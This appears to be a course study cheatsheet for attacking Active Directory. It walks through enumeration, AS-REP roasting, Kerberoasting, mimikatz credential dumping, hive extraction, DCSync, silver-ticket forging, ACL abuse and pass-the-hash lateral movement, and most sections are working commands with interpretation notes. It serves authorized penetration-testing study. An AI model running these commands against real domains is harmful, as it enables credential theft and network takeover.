10.12 Active Directory Cheatsheet
Confirm the domain context, then use the commands and interpretation in this cheatsheet.
Start the first checks →Use the evidence chooser below, or inspect the SPN, object right and host-access checks.
Follow the finding →← Cheatsheet index | Full AD procedures | Strategy map | Study methods: Map Active Directory attack paths; Gain a more useful domain identity; Check which other hosts your current identity can access
Start here for AD commands and next decisions. Select the row matching your current evidence. Detailed annotated output remains linked beside the relevant checks.
| Current access or observation | Check here | What the result must establish |
|---|---|---|
| Starting with a domain identity | Domain, DC, DNS and time | Process identity and network authentication context are recorded separately; naming/time/route dependencies work |
| Need users, groups or computer names | Windows baseline, Kali LDAP or quick helper calls | Useful identities and memberships, with collection gaps retained |
| Readable share or deployment file | Shares and policy files | Exact file access and a selected configuration or credential lead |
| SPN, object right, host permission or session | Validate the relationship | Effective right and missing prerequisite, rather than an assumed exploit |
| A BloodHound path | Collection and edge validation | Each relevant edge is current and usable in this identity context |
| Account without preauthentication or a service identity | AS-REP or selected service tickets | Matching account conditions and useful recovery material |
| Password, hash, ticket or secret | Credential source, tickets and identity transitions | Artifact type, principal and scope before choosing a supported use |
| Credential plus a reachable host | Choose a method that matches your access and required result | Authentication, protocol authorization, execution and output are checked separately |
| New identity, privilege, host or route | Re-enumerate | The new state and newly accessible resources are verified |
10.12.1 Noninteractive Kali directory first pass
One known domain identity; fresh private working directory; DC DNS/LDAP connectivity and an approved SMB host. These are selected reads, without a menu or automatic exploitation batch. See the complete procedure and version limits.
bloodhound-ce-python -d DOMAIN -u USER -p 'PASSWORD' -dc DC_HOST -ns DC_IP -c DCOnly --disable-autogc --zip
ldapdomaindump -u 'DOMAIN_NETBIOS\USER' -p 'PASSWORD' -o ldap-inventory ldap://DC_IP
bloodyAD --host DC_HOST --dc-ip DC_IP -d DOMAIN -u USER -p 'PASSWORD' get writable --detail --partition DOMAIN > writable.txt
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares --no-admin-check --log shares.log
Graph ZIP → validate useful edges; LDAP reports → inspect relevant identities; writable.txt → check effective right and consumer; share access → read a specific file. DCOnly omits host/session data; empty/denied output preserves a gap. NetExec requires the newer default with --file-write-check left off; older versions need the explicit no-write-check variant. Do not substitute a READ filter. Each collector authenticates separately; stop on failed credentials.
10.12.0 Choose a starting check from your current access Quick use
Windows directory queries use the current network identity. Run only the selected check; a result is a lead until its next prerequisite is verified.
10.12.0.1 Define LDAPSearch once in this PowerShell session
Requires Windows PowerShell/.NET directory access, domain DNS and an authenticated directory context. No RSAT or PDC-specific connection is required. Paste the complete definition once; subsequent calls reuse it.
function LDAPSearch {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][ValidateNotNullOrEmpty()][string]$LDAPQuery,
[string]$Server,
[string]$SearchBase,
[string[]]$Properties = @('samaccountname','distinguishedname','memberof','serviceprincipalname','description')
)
$root = $entry = $searcher = $results = $null
try {
$prefix = if ($Server) { "LDAP://$Server/" } else { 'LDAP://' }
if (-not $SearchBase) {
$root = New-Object System.DirectoryServices.DirectoryEntry($prefix + 'RootDSE')
$SearchBase = [string]$root.Properties['defaultNamingContext'][0]
if (-not $SearchBase) { throw 'No default naming context; specify Server and SearchBase.' }
}
$entry = New-Object System.DirectoryServices.DirectoryEntry($prefix + $SearchBase)
$searcher = New-Object System.DirectoryServices.DirectorySearcher($entry)
$searcher.Filter = $LDAPQuery
$searcher.PageSize = 1000
$searcher.PropertiesToLoad.AddRange($Properties)
$results = $searcher.FindAll()
foreach ($result in $results) {
$values = @{}
foreach ($name in $result.Properties.PropertyNames) {
$values[$name] = @($result.Properties[$name])
}
[pscustomobject]@{ Path = $result.Path; Properties = $values }
}
}
finally {
foreach ($resource in @($results,$searcher,$entry,$root)) {
if ($null -ne $resource) { $resource.Dispose() }
}
}
}
Results expose .Path and .Properties; property values remain arrays. Paging handles result pages, not ranged retrieval of very large group membership attributes. memberOf is direct membership and omits primary-group membership; it is not effective authorization.
Function missing: define it in this session. Discovery/bind failure: fix identity, DNS, server and route. Empty query: verify base/filter against a known object before concluding absence. Do not suppress exceptions as empty results. -Server DC_HOST -SearchBase 'DC=example,DC=test' selects a directory explicitly; it does not supply different credentials.
10.12.0.2 Find useful domain objects from your Windows access Quick AD enumeration — Windows domain context
10.12.0.2.1 Identity
whoami /all
Look for / next: Token groups/privileges; establish §6.1.1.1 domain/network context.
10.12.0.2.2 Users
LDAPSearch -LDAPQuery '(samAccountType=805306368)' |
ForEach-Object {
[pscustomobject]@{
Name=$_.Properties.samaccountname
Groups=$_.Properties.memberof
}
}
Look for / next: Names/direct memberships; expand the selected §6.2.1.1 identity.
10.12.0.2.3 Groups
LDAPSearch -LDAPQuery '(objectClass=group)' -Properties samaccountname,member |
ForEach-Object {
[pscustomobject]@{
Name=$_.Properties.samaccountname
Members=$_.Properties.member
}
}
Look for / next: Selected members, not complete nesting; check §6.2.1.1 membership.
10.12.0.2.4 Computers
LDAPSearch -LDAPQuery '(objectCategory=computer)' -Properties dnshostname,operatingsystem |
ForEach-Object {
[pscustomobject]@{
Host=$_.Properties.dnshostname
OS=$_.Properties.operatingsystem
}
}
Look for / next: Hostnames are inventory; validate §6.2.6.1 host access.
10.12.0.2.5 SPN users
LDAPSearch -LDAPQuery '(&(samAccountType=805306368)(servicePrincipalName=*))' |
ForEach-Object {
[pscustomobject]@{
Name=$_.Properties.samaccountname
SPNs=$_.Properties.serviceprincipalname
}
}
Look for / next: Account/service relationship; check §6.2.4.1 value and prerequisites.
10.12.0.2.6 Shares
net view \\TARGET
Look for / next: Share listing is not file read; test the §6.2.2.1 selected boundary.
LDAPSearch calls require the definition immediately above. No suitable Windows directory context: use authenticated LDAP from Kali. For a selected object, keep the filter literal and request only useful fields; do not interpolate unescaped names into LDAP filters.
10.12.0.2.6.1 Show all returned LDAP properties instead
LDAPSearch -LDAPQuery '(samAccountType=805306368)' | ForEach-Object { $_.Properties }
Use only when a focused projection omits the field needed for the current question.
10.12.0.3 Check remote access from your existing Windows shell Quick lateral movement — from an existing Windows shell
10.12.0.3.1 Current-host processes
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine
Look for / next: Relevant executable/configuration leads; restricted fields are incomplete coverage. Inspect §6.3.5.1 credential-source conditions.
10.12.0.3.2 Current-host services
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
Look for / next: Run-as and executable, not write/trigger rights; inspect Windows service permissions.
10.12.0.3.3 Stored credential targets
cmdkey /list
Look for / next: Target-bound entries, not plaintext; classify §6.3.2.1 material/context.
10.12.0.3.4 Current tickets
klist
Look for / next: Realm, server/SPN and validity; check §6.3.6.1 cache context.
10.12.0.3.5 Selected WinRM destination
Test-NetConnection -ComputerName TARGET -Port 5985
Look for / next: TCP reachability only; validate §6.4.1.1 mechanism and identity.
10.12.0.3.6 Remote authorization
winrs -r:TARGET -u:DOMAIN\USER -p:PASSWORD "hostname & whoami"
Look for / next: Executes a remote command; requires WinRM authorization. Verify the §6.4.2.1 destination and identity.
10.12.0.3.7 New session
hostname; whoami /all
Look for / next: Run inside the new PowerShell session; re-enumerate §6.5.2.1 changed state.
For password/hash/ticket and protocol alternatives, use the lateral movement chooser. A denial is not a reason to repeat an unchanged credential test. Return after relevant identity, rights, route or endpoint changes.
10.12.1 Record your current identity, access and reachable resources State line
Detailed annotated investigations | Read command output
IDENTITY -> GROUP -> RIGHT -> HOST/SERVICE -> SESSION/CREDENTIAL -> NEW IDENTITY
Keep separate identity, host, route and lead maps. Authentication, authorization, reachability and session presence are different claims. Full procedure: domain mapping.
10.12.2 Confirm the domain, domain controller, DNS and time context Domain/DC truth
whoami /all
echo %USERDNSDOMAIN%
echo %LOGONSERVER%
nltest /dsgetdc:DOMAIN
nltest /dclist:DOMAIN
nltest /domain_trusts /all_trusts
w32tm /query /status
net accounts /domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Resolve-DnsName -Type SRV _ldap._tcp.dc._msdcs.DOMAIN
Resolve-DnsName -Type SRV _kerberos._tcp.DOMAIN
dig +short SRV _ldap._tcp.dc._msdcs.DOMAIN @DC_IP
ldapsearch -x -LLL -H ldap://DC_HOST:389 -s base -b '' \
defaultNamingContext configurationNamingContext rootDomainNamingContext dnsHostName
nxc smb DC_IP -d DOMAIN -u USER -p 'PASSWORD'
Record source host, network identity, domain FQDN, DC FQDN/IP, DNS and time. If IP-based LDAP/SMB works but Kerberos fails, fix name/SPN/time/KDC routing first.
Interpret:
whoamidescribes the process token; environment variables are clues, not accepted network credentials. Discovery and time failures need repair before judging an identity. Annotated context output.
10.12.3 Find domain users, groups and computers with Windows utilities Native / RSAT / ADSI
Windows context: native commands first; RSAT only when installed.
net user /domain
net user USER /domain
net group /domain
net group "Domain Admins" /domain
net group "GROUP" /domain
net view /domain
Get-ADDomain
Get-ADForest
Get-ADDomainController -Filter *
Get-ADUser -Filter * -Properties Enabled,MemberOf,ServicePrincipalName,Description
Get-ADGroupMember -Identity 'GROUP' -Recursive
Get-ADComputer -Filter * -Properties DNSHostName,OperatingSystem,ServicePrincipalName
RSAT cmdlets are optional. If absent, query with built-in ADSI:
$root = [ADSI]'LDAP://RootDSE'
$base = [ADSI]("LDAP://" + $root.defaultNamingContext)
$s = New-Object System.DirectoryServices.DirectorySearcher($base)
$s.PageSize = 1000
$s.Filter = '(&(objectCategory=person)(objectClass=user))'
$s.PropertiesToLoad.AddRange(@('samaccountname','userprincipalname','objectsid','memberof','serviceprincipalname','description'))
$s.FindAll() | ForEach-Object { $_.Properties }
10.12.4 Find useful directory objects using your domain credentials Authenticated LDAP
Directory connectivity and a supported authenticated query context; check base, filter and paging.
Interpret: a successful bind is authentication, not proof of a complete search. Verify the naming context, filter, paging and attribute visibility; group membership alone does not establish host or object authorization. Annotated user/group output.
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
'(&(objectCategory=person)(objectClass=user))' \
sAMAccountName userPrincipalName objectSid userAccountControl memberOf description servicePrincipalName
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
'(objectCategory=group)' sAMAccountName objectSid member groupType description
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
-E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
'(objectCategory=computer)' dNSHostName operatingSystem operatingSystemVersion servicePrincipalName
| LDAP result | Next decision |
|---|---|
| Error 49 | Recheck UPN/domain context, secret and account state |
| Stronger authentication/confidentiality required | Use permitted LDAPS/StartTLS or Kerberos/SASL path |
| Size limit / round result count | Add paging; narrow base/filter |
| Referral/partial results | Query the correct domain/partition or GC deliberately |
| Successful bind, empty search | Verify RootDSE base, filter, known object and attribute visibility |
10.12.5 Investigate domain objects and rights with PowerView PowerView
Reviewed compatible PowerView loaded in the intended directory authentication context.
Import-Module .\PowerView.ps1
Get-Command -Module PowerView
Get-Domain
Get-DomainController
Get-DomainTrust
Get-DomainUser
Get-DomainGroup
Get-DomainComputer
Get-DomainGroupMember -Identity 'GROUP' -Recurse
Get-DomainUser -SPN
Find-LocalAdminAccess
PowerSploit is archived and forks differ. Course aliases such as
Get-NetUsermay exist; inspect the loaded copy withGet-CommandandGet-Help.
10.12.6 Find readable domain files and configuration leads Shares / SYSVOL / NETLOGON
nxc smb DC_IP -d DOMAIN -u USER -p 'PASSWORD' --shares
smbclient -L //DC_IP -U 'DOMAIN/USER'
smbclient //DC_IP/SYSVOL -U 'DOMAIN/USER' -c 'recurse ON; ls'
smbclient //DC_IP/SHARE -U 'DOMAIN/USER'
List → connect → exact file read → exact file write are separate permissions. Inspect policy/logon/deployment material selectively for scripts, configuration, backups, connection strings and legacy GPP
cpassword; return any secret to the credential workflow.
Continue: listing success does not establish file read or execution. Inspect one relevant permitted object and follow its actual referenced location. Revisit a denied object only after a relevant identity or permission change. Annotated share/file boundary.
10.12.7 Find service identities, object-control rights and host-access candidates SPNs, ACLs, host rights and sessions
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof,pwdlastset
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight|WriteProperty|Self' }
Find-LocalAdminAccess
Get-NetSession -ComputerName COMPUTER -Verbose
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
setspn -L ACCOUNT
PsLoggedOn.exe \\COMPUTER
SPN ≠ weak password. ACE ≠ effective exploitable control.
(Pwn3d!)means administrative SMB context, not every remote protocol. Session output is volatile and can be blocked; session presence ≠ accessible credentials.
Validate: resolve the exact target, trustee/SID, right and object/attribute scope, then check group context and the operation required. For a service identity, distinguish account mapping from ticket recovery and remote service access. Annotated SPN output · Annotated ACL output.
10.12.8 Find and validate a useful domain attack path BloodHound collection and decision
Interpret: a graph proposes a path. Check the collection scope, timestamp and each selected right before proceeding; missing Session edges after directory-only collection do not rule out sessions. Annotated graph investigation.
10.12.8.1 Directory-only first pass; avoids workstation contact.
# Directory-only first pass; avoids workstation contact.
.\SharpHound.exe --CollectionMethods DCOnly --OutputDirectory .\bh --ZipFileName domain-dconly.zip
10.12.8.2 Add only when the selected host question needs it.
# Add only when the selected host question needs it.
.\SharpHound.exe --CollectionMethods LocalGroup --ComputerFile .\candidate-hosts.txt --OutputDirectory .\bh --ZipFileName candidate-localgroups.zip
.\SharpHound.exe --CollectionMethods Session --ComputerFile .\candidate-hosts.txt --Loop --LoopDuration 00:10:00 --OutputDirectory .\bh --ZipFileName candidate-sessions.zip
# Linux collector alternative; confirm release/deployment compatibility.
bloodhound-python --help
bloodhound-python -u USER -p 'PASSWORD' -d DOMAIN -ns DC_IP -dc DC_HOST -c All --zip
SharpHound with no flags uses its broader default; All runs every supported collection method and is not the automatic first pass. After import:
- mark only principals/hosts actually controlled;
- inspect group nesting and outbound control from the current identity;
- inspect host-access edges and high-value paths;
- classify static-ish ACL/group/GPO edges versus volatile sessions;
- manually verify the minimum edge and its route/service.
CONTROLLED PRINCIPAL -> EFFECTIVE RIGHT -> TARGET -> REACHABLE SERVICE
-> EXPECTED TRANSITION -> MINIMUM VALIDATION -> NEXT BLOCK
Validate every chosen edge manually; graph presence ≠ effective right, current session or reachable service.
10.12.9 Check for accounts whose AS-REP responses support offline password recovery AS-REP roast
Need: known username(s), KDC reachability and preauthentication disabled on the target account. Output: a
$krb5asrep$verifier, not a password.
10.12.9.1 One known account
# One known account
impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request -dc-ip DC_IP \
-format hashcat -outputfile TARGET_USER.asrep
10.12.9.2 Supplied username list
# Supplied username list
impacket-GetNPUsers DOMAIN/ -no-pass -request -usersfile users.txt \
-dc-ip DC_IP -format hashcat -outputfile asrep.hashes
10.12.9.3 Authenticated candidate discovery/request
# Authenticated candidate discovery/request
impacket-GetNPUsers 'DOMAIN/USER:PASSWORD' -request -dc-ip DC_IP \
-format hashcat -outputfile asrep.hashes
hashcat -m 18200 asrep.hashes wordlist.txt
Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:TARGET_USER.asrep /format:hashcat
Empty output can mean no candidate, a bad list/domain/DC, unreachable KDC or tool error. A returned verifier may still be infeasible to crack.
10.12.10 Request selected service tickets for offline password recovery Kerberoast
Need: any valid domain identity, KDC reachability and a selected SPN-bearing account. Output: a TGS verifier for offline guessing.
10.12.10.1 Enumerate first without requesting every ticket
# Enumerate first without requesting every ticket
impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
10.12.10.2 Request one prioritized user account
# Request one prioritized user account
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
-outputfile TARGET_USER.tgs 'DOMAIN/USER:PASSWORD'
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
| Prefix / etype | Hashcat mode |
|---|---|
$krb5tgs$23$ | 13100 |
$krb5tgs$17$ | 19600 |
$krb5tgs$18$ | 19700 |
hashcat -m 13100 TARGET_USER.tgs wordlist.txt
Select by privilege, password age and downstream access. “No entries found” can be a query/auth/DC problem or genuinely no matching user SPN; it does not prove Kerberos is unavailable.
10.12.10.3 Check whether SPN-write rights enable targeted ticket recovery Targeted Kerberoast from SPN write
setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER
Requires effective write access to the user's servicePrincipalName attribute. Use a unique SPN and remove it immediately; this changes directory state.
10.12.11 Inspect available tickets and determine where they can authenticate Tickets
klist
klist tgt
klist sessions
klist -li 0xLUID tickets
Rubeus.exe triage
Rubeus.exe ptt /ticket:ticket.kirbi
| Seen in ticket | Means | Next check |
|---|---|---|
Client: USER @ REALM | Identity represented | Groups, rights and account context |
Client: HOST$ @ REALM | Computer identity | Machine-account rights; do not treat as an interactive user |
Server: krbtgt/REALM | TGT | Validity, realm and which service tickets this identity may request |
Server: cifs/HOST | SMB ticket for HOST | SMB reachability and share/object authorization |
Server: ldap/DC_HOST | LDAP ticket for the DC | LDAP authorization; this is not proof of DCSync |
Other SERVICE/HOST | Ticket for that exact SPN | Matching protocol, hostname, DNS and route |
End Time passed | Expired | Obtain a valid ticket through an authorized path; importing is insufficient |
Kdc Called: DC_HOST | Issuing KDC | Not evidence of access to the DC |
forwardable,renewable,initial,pre_authentand encryption type do not prove privilege.klist purgedestroys cached tickets; do not use it during triage. Full field guide: Kerberos and identity transitions.
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME="$PWD/ticket.ccache"
klist
10.12.11.1 Forge a service ticket when you possess the correct service key Silver ticket
impacket-ticketer -nthash SERVICE_OR_MACHINE_NT_HASH -domain-sid DOMAIN_SID \
-domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist
Requires the exact service/machine key, realm, domain SID and SPN. It is service-scoped; import success is not authorization. Modern PAC checks, wrong naming, stale keys or an unsupported service can invalidate the result.
10.12.12 Select accessible credential material for the next identity transition Credential access
| Source | Need | Result | Do not confuse it with |
|---|---|---|---|
| Existing ticket cache | Current/selected logon session | TGT/TGS | Password or universal access |
| LSASS | Local admin/SYSTEM plus usable debug/dump path | Active-session secrets/tickets | SAM database |
| SAM + SYSTEM | Matched local hives | Local account hashes | Domain account database |
| SECURITY + SYSTEM | Matched hives | LSA secrets/cached domain verifiers | Reusable NT hash in every case |
| Credential Manager + DPAPI | Correct user/machine context and keys | Protected saved credentials | Automatic cleartext |
| NTDS + SYSTEM | Already controlled DC/offline files | Directory secrets | Ordinary host-admin access |
| DRS/DCSync | Domain-root replication rights | Selected directory secret | LDAP bind or local admin |
whoami /all
klist
cmdkey /list
vaultcmd /list
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
# Matched hive copies; requires suitable local privilege
reg save HKLM\SAM .\SAM.hive /y
reg save HKLM\SYSTEM .\SYSTEM.hive /y
reg save HKLM\SECURITY .\SECURITY.hive /y
10.12.12.1 impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL
10.12.12.2 Already-controlled DC/offline NTDS pair
# Already-controlled DC/offline NTDS pair
impacket-secretsdump -ntds ntds.dit -system SYSTEM.hive LOCAL
LSA protection or Credential Guard can block/isolate LSASS material without disproving the other sources. DCC2 is for offline password guessing (Hashcat mode 2100), not pass-the-hash.
10.12.13 Turn a verified directory right into a useful identity change ACL-backed identity transitions
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }
ConvertFrom-SID 'S-1-5-21-...'
| Validated right | Minimal transition | Important cue |
|---|---|---|
| Reset password / GenericAll on user | Set-DomainUserPassword | Disruptive; old unknown password cannot be restored |
| Member-property write / GenericAll on group | Add-DomainGroupMember | New logon/token may be required |
| SPN-property write on user | temporary SPN → targeted roast | Remove SPN immediately |
| WriteDacl | grant one narrower right | Export and restore original security descriptor |
| WriteOwner | take ownership → DACL path | Owner change alone is not the final effect |
$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }
Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
10.12.14 Retrieve domain credential material through verified replication rights DCSync
Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }
impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
'DOMAIN/USER:PASSWORD@DC_HOST'
lsadump::dcsync /domain:DOMAIN /user:TARGET_USER
Requires effective Replicating Directory Changes + Changes All at the domain root, with filtered-set rights where applicable. Request one approved account and stop after proof; local admin, LDAP access or an LDAP service ticket is insufficient.
10.12.15 Check whether certificate enrollment can enable another identity Conditional: AD CS
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled -vulnerable -stdout
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -target DC_HOST -ca CA_NAME -template TEMPLATE
certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP
Evidence-led supplement, not core Block 11. Confirm enabled/published template, enrollment rights, EKUs, subject/SAN controls and approval/signature requirements before a request.
10.12.16 Choose a method that matches your access and required result Lateral movement chooser
Run/context: use the platform and credential form of the selected variant;
TARGETis the remote destination, not necessarily the current foothold. Decide: reachable WinRM is not authorization. If authentication is accepted but execution is denied, inspect service-specific authorization and identity context; after a verified new session, re-enumerate under that identity.
Select by credential type, accepted authentication protocol, reachable service and the exact remote right. Authentication success is not execution success. Full procedure: lateral movement.
| Starting evidence | First justified path | Required condition | Main fallback |
|---|---|---|---|
| Password + SMB admin | PsExec/SMBExec | 445, admin share and SCM rights | WMIExec or ATExec if their RPC rights work |
| Password/hash + WMI rights | WMIExec | 135 + dynamic RPC; SMB for normal output | -nooutput with bounded side-effect proof |
| Password/hash + WinRM right | Evil-WinRM/WinRS | 5985/5986 and endpoint authorization | PowerShell remoting from Windows |
| Password + remote-interactive right | RDP | 3389, NLA and effective RDP logon right | WinRM or command execution |
| NT hash + Restricted Admin | FreeRDP /pth | RDP Restricted Admin permitted; user is admin | SMB/WMI PtH |
| TGT/ccache | Kerberos-capable Impacket/WinRM path | FQDN/SPN, DNS, time and KDC route | Request the service ticket first |
| Service ticket | Only its exact service/host | Compatible SPN and client | Obtain a TGT or matching TGS |
10.12.16.1 Verify identity, credential type and connectivity before moving Preflight and credential classification
nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH
nxc smb TARGET -u Administrator -H NT_HASH --local-auth
(Pwn3d!)is an SMB administrative-context cue, not proof of WinRM, WMI, RDP or every SMB execution method. Port 135 alone does not prove that negotiated dynamic RPC ports are reachable.
10.12.16.2 Execute on a reachable host through verified SMB and service rights SMB, services and scheduled tasks
Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"
PsExec uploads/starts a RemCom service; SMBExec repeatedly creates services with redirected output; ATExec creates a scheduled task and normally reads output from
ADMIN$\Temp. All require more than valid credentials.
10.12.16.3 Execute on a reachable host through WMI or DCOM rights WMI/DCOM
impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"
impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
WMIExec normally needs SMB for output even though process creation uses WMI/DCOM. Current Impacket DCOMExec rejects Kerberos for its supported DCOM objects; use WMIExec with Kerberos instead.
10.12.16.4 Inspect available tickets and determine where they can authenticate Kerberos cache
export KRB5CCNAME="$PWD/USER.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"
Keep the SPN-matching hostname in the target string; use
-target-iponly for routing. A CIFS TGS does not authorize HTTP/WinRM or arbitrary HOST services.
10.12.16.5 Check remote session access with the available identity WinRM and RDP
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'
evil-winrm -i TARGET -u USER -H NT_HASH
evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution
winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"
mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST
FreeRDP 3 commonly exposes
xfreerdp3; older packages usexfreerdp./pthis Restricted Admin mode and requires administrator access, not merely ordinary RDP logon permission.
10.12.16.6 Use an available key or ticket in the correct identity context Key and ticket transitions
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt
Rubeus.exe ptt /ticket:ticket.kirbi
klist
Overpass-the-Hash uses a long-term key to obtain a TGT; Pass-the-Ticket imports an existing ticket. In a Mimikatz PtH process, local
whoamican remain the original process token while outbound authentication uses the supplied identity.
| Failure | Check |
|---|---|
| Timeout/refused | Actual source route, listener, firewall and dynamic RPC |
| Kerberos error | DNS, hostname/SPN, time, KDC route, ticket validity |
| Auth works, execution fails | ADMIN$/SCM/WMI/task/endpoint rights, token filtering and method prerequisites |
| Process created, no output | SMB/output channel, session 0, or verify a bounded side effect |
| WinRM works, second hop fails | Credential delegation/double-hop context |
RDP password works, /pth fails | Restricted Admin configuration and administrator status |
| BloodHound edge unusable | Effective principal, inheritance, host reachability, required service |
| Share list works, file denied | Object-level ACL and guest/null mapping |
After access, verify hostname, whoami /all, interfaces/routes and klist; then re-enumerate rights, sessions, credentials and newly reachable hosts.
10.12.17 Re-enumerate
New identity/host/route → repeat domain rights, shares, SPNs, sessions, host admin, local secrets and internal reachability.
10.12.18 Discover and recognize candidates
Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.
10.12.18.1 Map Active Directory attack paths
10.12.18.1.1 Find: Establish domain identity, DC, DNS, time and route
Start with the session identity and known credential scope; discover the realm/DC and inspect DNS, time and routes.
whoami /all
whoami /upn
nltest /dsgetdc:DOMAIN
w32tm /query /status
Recognize: The named realm/DC and actual identity establish where directory/authentication checks must run.
Validate next: Check DC/service reachability, resolver/SPN naming and clock compatibility, not merely the password.
Establish domain identity, DC, DNS, time and route.
10.12.18.1.2 Commands and use-case variants
Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew
10.12.18.1.2.1 Domain-joined Windows source
whoami /all
echo %USERDNSDOMAIN%
echo %USERDOMAIN%
echo %LOGONSERVER%
nltest /dsgetdc:DOMAIN
nltest /dclist:DOMAIN
w32tm /query /status
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Resolve-DnsName -Type SRV _ldap._tcp.dc._msdcs.DOMAIN
Resolve-DnsName -Type SRV _kerberos._tcp.DOMAIN
Decisive output: domain FQDN, DC FQDN/IP, current user SID/groups, DNS SRV answers and a plausible time source.
